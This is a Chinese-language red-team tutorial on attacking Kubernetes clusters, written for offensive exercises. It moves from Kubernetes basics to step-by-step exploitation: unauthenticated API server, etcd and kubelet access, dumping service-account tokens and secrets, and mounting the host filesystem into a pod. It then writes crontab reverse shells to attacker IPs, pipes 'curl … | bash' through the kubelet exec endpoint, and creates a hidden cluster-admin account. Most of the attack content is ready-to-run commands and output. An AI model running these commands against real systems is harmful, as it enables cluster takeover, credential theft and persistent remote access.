在打攻防演练的时候偶尔会遇到目标内网资产采用集群化部署的情况(GuoQi偏多),在这种情况下由于刷分需求就需要对集群进行攻击测试以争取控制整个集群,本篇文章将从K8s的基本概念、主要组件、架构和安全评估测试方法等维度对K8s的安全进行系统性介绍
Container(容器)是一种便携式、轻量级的操作系统级虚拟化技术,它使用namespace隔离不同的软件运行环境,并通过镜像自包含软件的运行环境,从而使得容器可以很方便的在任何地方运行,由于容器体积小且启动快,因此可以在每个容器镜像中打包一个应用程序,这种一对一的应用镜像关系拥有很多好处,使用容器不需要与外部的基础架构环境绑定,因为每一个应用程序都不需要外部依赖,更不需要与外部的基础架构环境依赖,完美解决了从开发到生产环境的一致性问题
Kubernetes使用Pod来管理容器,每个Pod可以包含一个或多个紧密关联的容器,Pod是一组紧密关联的容器集合,它们共享PID、IPC、Network 和UTS Namespace,是Kubernetes调度的基本单位,Pod内的多个容器共享网络和文件系统,可以通过进程间通信和文件共享这种简单高效的方式组合完成服务
在Kubernetes中对象使用ManiFest(YAML或JSON)来定义,一个简单的Nginx服务可以定义为nginx.yaml,它包含一个镜像为nginx的容器,示例如下:
apiVersion: v1 kind: Pod metadata: name: nginx labels: app: nginx spec: containers: -name: nginx image: nginx ports: -containerPort: 80
Node是Pod真正运行的主机,可以是物理机,也可以是虚拟机,为了管理Pod每个Node节点上至少要运行Container Runtime(比如docker或者rkt)、 Kubelet和Kube-proxy服务
Namespace是对一组资源和对象的抽象集合,比如可以用来将系统内部的对象划分为不同的项目组或用户组,常见的pods, services, replication controllers和deployments等都是属于某一个namespace的(默认是default),而node, persistentVolumes等则不属于任何namespace
Service是应用服务的抽象,通过labels为应用提供负载均衡和服务发现,匹配labels的Pod IP和端口列表组成endpoints,由kube-proxy负责将服务IP负载均衡到这些endpoints上,通常每一个Service都会自动分配一个Cluster IP(仅在集群内部可访问的虚拟地址)和DNS名,其他容器可以通过该地址或DNS来访问服务,而不需要了解后端容器的运行:
apiVersion: v1 kind: Service metadata: name: nginx spec: ports: - port: 8078 # the port that this service should serve on name: http # the container on each pod to connect to, can be a name # (e.g. 'www') or a number (e.g. 80) targetPort: 80 protocol: TCP selector: app: nginx
Borg是谷歌内部的大规模集群管理系统,负责对谷歌内部很多核心服务的调度和管理,Borg的目的是让用户能够不必操心资源管理的问题,让他们专注于自己的核心业务,并且做到跨多个数据中心的资源利用率最大化
Borg主要由BorgMaster、Borglet、Borgcfg和Scheduler组成,架构示意图如下:
K8s借鉴了Borg的设计理念,比如:Pod、Service、Label、单Pod、单IP等,Kubernetes的整体架构跟Borg非常像,如下图所示:
K8s主要由以下几个核心组件组成:
Kubernetes主要由以下几个核心组件组成,这也是我们对K8s进行安全评估的主要测试维度:
下面是关键组件的一些常用默认端口:
常见的K8S的渗透路径:
形象的K8S的渗透过程:
我们评估是如果获取到应用的webshell权限时是很有必要判断一下当前的环境的,最狠的一次是之前打HW的时候有厂商搭建了一套完整的域环境的蜜罐系统,看着你打.....,所以这个阶段要做的还是信息收集
env
env | grep KUBERNETES
注意下面的.dockerenv哦:
ls -al
需要下载kubectl到pod中,之后通过执行以下命令来获取node节点的内核版本信息
kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'
K8s集群创建的Pod中容器内部默认携带K8s Service Account认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),利用该凭据可以认证K8s API-Server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,可以直接利用Service Account管理K8s集群
cat /var/run/secrets/kuberenetes.io/serviceaccount/token
K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息:
#命令格式 ./cdk run k8s-secret-dump (auto|<service-account-token-path>) #使用实例 ./cdk run k8s-secret-dump auto
对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置的容器,但是受到了K8s Pod Security Policies的限制时可以使用这个Exploit获取Pod Security Policies的规则信息
#命令格式 ./cdk run k8s-psp-dump (auto|<service-account-token-path> #使用实例 ./cdk run k8s-psp-dump auto 2021/03/24 22:15:58 getting K8s api-server API addr. Find K8s api-server in ENV: https://ip:8443 2021/03/24 22:15:58 trying to dump K8s Pod Security Policies with local service-account: token 2021/03/24 22:15:58 requesting /apis/policy/v1beta1/podsecuritypolicies 2021/03/24 22:15:58 dump Pod Security Policies success, saved in: k8s_pod_security_policies.json 2021/03/24 22:15:58 requesting /api/v1/namespaces/default/pods 2021/03/24 22:15:58 K8S Pod Security Policies rule list: 2021/03/24 22:15:58 rule { securityContext.hostPID: true } is not allowed. 2021/03/24 22:15:58 rule { securityContext.hostIPC: true } is not allowed. 2021/03/24 22:15:58 rule { volumes[0].hostPath.pathPrefix: \"/proc\" } is not allowed. 2021/03/24 22:15:58 rule { volumes[1].hostPath.pathPrefix: \"/dev\" } is not allowed. 2021/03/24 22:15:58 rule { volumes[2].hostPath.pathPrefix: \"/sys\" } is not allowed. 2021/03/24 22:15:58 rule { volumes[3].hostPath.pathPrefix: \"/\" } is not allowed. 2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_ADMIN\" } is not allowed. 2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_PTRACE\" } is not allowed.
这一部分注意介绍一些常见的因为K8s自身的漏洞或者安全配置不当导致的可被利用的漏洞点:
基本介绍
k8s的Master节点上会暴露kube-apiserver,默认情况下会开启以下两个HTTP端口:
A:Localhost Port
B:Secure Port
以上两个端口主要存在以下两类安全风险:
漏洞检测
在浏览器中访问以下URL:
#格式说明 http://ip:port/ #使用实例 http://192.168.17.144:8080/
返回以上信息说明存在K8s API Server未授权访问漏洞~
漏洞利用
利用方式按严重程度可分为以下两种攻击类型:
容器管理
Step 1:获取目标机器的信息
#格式说明 kubectl -s ip:port get nodes #执行实例 kubectl -s 192.168.17.144:8080 get nodes
备注说明:如果出现"Error from server (NotFound): the server could not find the requested resource"报错,可能是因为Kubectl客户端和K8s的Server端版本不相同导致的需要进行降级操作,此时需要将版本降低到和目标主机版本一致即可
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.8.7/bin/linux/amd64/kubectl chmod 777 kubectl mv /usr/bin/kubectl /usr/bin/kubectl.bak mv kubectl /usr/bin/kubectl
Step 2:获取命名空间
kubectl -s 192.168.17.144:8080 get namespace
Step 3:获取某一命名空间下的Pod列表
kubectl -s 192.168.17.144:8080 get pod -n default
Step 4:执行以下命令接管pod,可以看到下方返回的提示是"pod nginx does not have a host assigned",这是由于pod未指定host所致
#格式说明 kubectl -s ip:port --namespace=default exec -it dockername bash #执行实例 kubectl -s 192.168.17.144:8080 -n default exec -it nginx /bin/sh
nginx的yaml文件如下:
apiVersion: v1 kind: Pod metadata: name: nginx spec: containers: - image: nginx:alpine name: container-0 resources: limits: cpu: 100m memory: 200Mi requests: cpu: 100m memory: 200Mi imagePullSecrets: - name: default-secret
如果幸运的化我们可以找到恰当的Pod并通过信息收集以及逃逸获取宿主机的权限,之后控制节点以及整个集群~
反弹shell
A、Web Dashboard
Step 1:查看当前Namespace确定命名空间有哪些
kubectl -s 192.168.17.144:8080 get namespaces
Step 2:查看"kubernetes-dashboard"命名空间下pod与service的详细状态
kubectl -s 192.168.17.144:8080 get pods,svc -n kubernetes-dashboard -o wide
Step 3:查看Serviceaccount和Secrets
kubectl -s 192.168.17.144:8080 get sa,secrets -n kubernetes-dashboard
Step 4:查看token,在这里我们要根据上一步的输出进行多项service-account-token的查看,因为部分会应权限而导致操作有限
kubectl -s 192.168.17.144:8080 describe secrets admin-myuser-token-jcj9d -n kubernetes-dashboard
Step 5:尝试登录DashBoard
Step 6:创建一个pod,并将本地根目录挂载到pod的/mnt目录中
apiVersion: v1 kind: Pod metadata: name: myapp spec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
Step 7:之后可以看到创建的myapp Pod
Step 8:之后进入挂载的/mnt目录中,就是master节点的对应目录了
Step 9:之后写计划任务
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.158/4444 0>&1\n" >> /mnt/etc/crontab
Step 10:成功反弹shell
B、Kubectl Client
Step 1:新建myapp2.yaml文件
apiVersion: v1 kind: Pod metadata: name: myapp2 spec: containers: - image: nginx name: container0 volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
Step 2:创建容器
kubectl -s 192.168.17.144:8080 create -f myapp2.yaml
Step 3:查看容器状态
kubectl -s 192.168.17.144:8080 get pod -n default
Step 4:进入容器(由于上面迟迟处于pending状态,也许时内存问题,这里不再过多赘述,直接向下写流程)
kubectl -s 192.168.17.144:8080 --namespace=default exec -it myapp2 bash
Step 5:写计划任务
echo -e "* * * * * root bash -i >& /dev/tcp/x.x.x.x/8888 0>&1\n" >> /mnt/etc/crontab
Step 6:成功获取shell
接口扩展
补充一些可用接口:
漏洞概述
ETCD最大的安全风险是未授权访问,在启动etcd时如果没有指定--client-cert-auth参数打开证书校验,并且没有通过iptables/防火墙等实施访问控制,ETCD的接口和数据就会直接暴露给外部黑客
漏洞检测
ETCD一般监听2379端口且对外暴露Client API,可以指定是否启用TLS,因此这个端口可能是HTTP服务,也可能是HTTPS服务,扫描器可以通过检查以下2个接口来判断是否存在未授权访问漏洞:
第一个接口:https://IP:2379/version
第二个接口:?https://IP:2379/v2/keys
攻击测试
ETCD V2和V3是两套不兼容的API,K8s使用V3,通过环境变量设置API V3:
export ETCDCTL_API=3
检查是否正常连接
etcdctl endpoint health 127.0.0.1:2379 is healthy: successfully committed proposal: took = 939.097μs
查看K8s secrets
etcdctl get / --prefix --keys-only | grep /secrets/
获取集群中保存的云产品AK,横向移动:
etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c
读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
通过token认证访问API-Server,接管集群:
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
证书使用
查看链接状态
sudo ./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 endpoint health
查看集群状态
etcdctl --write-out=table --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 endpoint status
列出所有的keys
./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 get / --prefix --keys-only
查看K8s Secret
./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379/ get / --prefix --keys-only | grep /secrets/
读取服务Token
./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379/ get /registry/secrets/kubernetes-dashboard/admin-myuser-token-jcj9d
Token接管集群
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
基本介绍
K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机
利用过程
Step 1:获得token
首先需要确定node是否存在未授权问题,如果访问以下地址并返回如下数据表示可以利用
https://ip:10250/pods
Step 2:基础信息确定
从上述结果中确定namespace、pod_name、container_name,关于查找方法可以通过检索selfLink,此时会发现再返回的数据中会有一个类似"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-xwk2t"的值,其中namespaces就是后面的kube-system,pods就是后面的kube-flannel-ds-xwk2t,如果执行失败可以看看phase的状态是不是fail,如果是的话就换一个phase是running的试试
Step 3:执行命令
可以通过一下命令再在对应的容器里执行命令:
#格式说明 curl -k -XPOST "https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%" -d "cmd=ls -la /" #执行实例 curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=ls -la /"
Step 4:检索Token信息
默认情况下Token保存在/var/run/secrets/kubernetes.io/serviceaccount/token
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
如果token不在/var/run/secrets/kubernetes.io/serviceaccount/token,那么可以通过mount命令来查找
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=mount"
Step 5:获得master访问权
接下来可以尝试获得master(api server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息:
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=env"
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=netstat -ntlp"
如果提示Error from server (Forbidden): secrets is forbidden: User “" cannot list resource "secrets" in API则说明权限不够
kubectl --insecure-skip-tls-verify=true --server="https://192.168.17.144:6443" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJmbGFubmVsLXRva2VuLWhwbGJ0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImZsYW5uZWwiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwMmJmZmUzZi0wNGE5LTQ2MTItYjRjYy1mYjNkNTdiNjZiZDkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Zmxhbm5lbCJ9.oGnRE55P1Dv9W4-Gs8UCp5M1_vdL2flZ0WYJtr8HTMgb2Si6wb-N_ltS1HRi_Q9VHsS_CsjHw3ZqA-jQvbz-RENNLDEL20nUt9J51IyqeGPC3sKAd3fVOZmViIVrYsQSewvPHwPq7qvFnIj1aR-pFYrB47iohej2XvS4aTNZMdpxhL0jCBa3o5SFZg1oNR1rzJd1hhSaCNAbQ7_JMdTuCy4aU0zykVd0GoUF9gXRD7Avx9Y25QGCBTdPgL11fzjcGiG93KtfE4QASiLemnxDF1TPeob9MERFbT6mq-CQ7243U6HjF6Lx-1NfLk52qaXp3hbpGySNudUz_i_Q-KWIgw" get secrets --all-namespaces -o jsonv
Step 6:获取node里pod的shell
攻击者可以本地搭建web服务,通过在node中的pod里执行反弹语句来获得node的shell,假定这里的192.168.17.161:80是攻击者web服务,之后写入以下反弹shell指令,之后启动一个简易的HTTP服务:
在本地浏览器中进行简单测试:
之后在攻击主机上监听:
之后进行反弹shell操作:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1"
发现并不行,之后尝试下面的语句(主要换了sh)
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1"
发现也为成功,可能是笔者这里的环境问题所致,下面给出一个成功的截图:
之后会再执行端返回用于查看执行结果的链接地址:
[root@localhost ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1" * About to connect() to 192.168.4.68 port 10250 (#0) * Trying 192.168.4.68... * Connected to 192.168.4.68 (192.168.4.68) port 10250 (#0) * Initializing NSS with certpath: sql:/etc/pki/nssdb * skipping SSL peer certificate verification * SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 * Server certificate: * subject: CN=192.168.4.68@1544518989 * start date: 12月 11 09:03:09 2018 GMT * expire date: 12月 11 09:03:09 2019 GMT * common name: 192.168.4.68@1544518989 * issuer: CN=192.168.4.68@1544518989 > POST /exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1 HTTP/1.1 > User-Agent: curl/7.29.0 > Host: 192.168.4.68:10250 > Accept: */* > X-Stream-Protocol-Version: v2.channel.k8s.io > X-Stream-Protocol-Version: channel.k8s.io > < HTTP/1.1 302 Found < Location: /cri/exec/zEKYcaZt #查看执行结果 < Date: Wed, 07 Aug 2019 06:01:42 GMT < Content-Length: 0 < Content-Type: text/plain; charset=utf-8 < * Connection #0 to host 192.168.4.68 left intact [root@localhost ~]#
执行如下语句查看命令执行结果
[root@localhost ~]# docker run -it --rm joshgubler/wscat -c "https://192.168.4.68:10250/cri/exec/zEKYcaZt" --no-check
Step 7:连接K8s Master地址
此时我们是在Node的Pod里,在反弹的Shell里查看Master的内部IP
尝试连接K8s Master地址
[root@localhost ~]# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) [root@localhost ~]# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H "Authorization: Bearer $TOKEN_VALUE" https://10.0.0.1:443/api/v1/pods
基本介绍
Kubectl Proxy代理程序既能作为API Server的反向代理,也能作为普通客户端访问API Server的代理,当开发人员使用Kubectl proxy将API Server外置时攻击者可以通过使用和K8s API Server未授权一样的漏洞实施攻击操作
漏洞利用
Step 1:通过执行以下命令启动我们自定义的
kubectl proxy --port=8080 --address=192.168.17.144 --api-prefix=/ --disable-filter=true
Step 2:之后再浏览器中访问
Step 3:之后和K8s API Server未授权利用一致,例如:获取节点信息
#格式说明 kubectl -s ip:port get nodes #执行实例 kubectl -s 192.168.17.144:8080 get nodes
漏洞描述
K8s Dashboard默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录直接进入Dashboard,而且有时候可以直接访问K8s DashBoard,在这种情况下攻击者可以通过部署恶意Pod实现控制节点的目的
漏洞复现
K8s DashBoard未授权访问:
宿主Shell
Step 1:通过WEB UI界面创建一个pod,并将本地根目录挂载到pod的/mnt目录中
apiVersion: v1 kind: Pod metadata: name: myapp spec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
Step 2:之后可以看到创建的myapp Pod
Step 3:之后进入挂载的/mnt目录中,就是master节点的对应目录了
Step 4:之后写计划任务
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.157/4444 0>&1\n" >> /mnt/etc/crontab
Step 5:成功反弹shell
额外扩展
获取K8s Service Account认证凭据
cat /var/run/secrets/kuberenetes.io/serviceaccount/token
利用场景
基础知识
用户凭证保存在kubeconfig文件中,kubectl通过以下顺序来找到kubeconfig文件
利用流程
Step 1:获取namespace
kubectl get namespace
Step 2:创建dashboard管理用户
kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard
Step 3:绑定用户为集群管理用户
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin
Step 4:获取tocken(后续可以使用token登录)
kubectl get sa,secrets -n kubernetes-dashboard kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll
Step 5:生成kubeconfig文件
DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token}|base64 -d)
kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.conf kubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.conf kubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.conf kubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf
Step 6:赋予读写执行权限
chmod 777 dashboard-admin.conf
Step 7:使用生成的dashbord-admin.conf登录dashboard
由于篇幅过长关于K8s的逃逸、横向移动、权限维持、扩展技巧等下篇文章再补,写不动了